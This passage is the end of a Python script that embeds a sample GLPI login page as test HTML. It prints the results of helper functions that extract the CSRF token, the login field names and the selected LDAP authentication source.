          <input type="text" class="form-control" id="login_name" name="fielda65df1117f0519" placeholder="" tabindex="1" />
          <input type="password" class="form-control" id="login_password" name="fieldb65df1117f051b" placeholder="" autocomplete="off" tabindex="2" />
          <input type="hidden" name="redirect" value="" />
          <input type="hidden" name="_glpi_csrf_token" value="49cd1ca5f931d1d7ae18c1153eeac1089f7ba14787086bda99ffd22c1df7b3c7" />
         </form>

         <select name='auth' id='dropdown_auth1369477226' class="form-select" size='1'>
             <option value='local'>GLPI internal database</option>
             <option value='ldap-1' selected>Utilisateurs internes</option>
             <option value='ldap-2'>Utilisateurs RSWL</option>
         </select>

    </body>
    </html>
    """
    print(GlpiUtils.extract_csrf(html_test))
    print(GlpiUtils.extract_login_field(html_test))
    print(GlpiUtils.extract_auth(html_test)) # ldap-1 shall be first
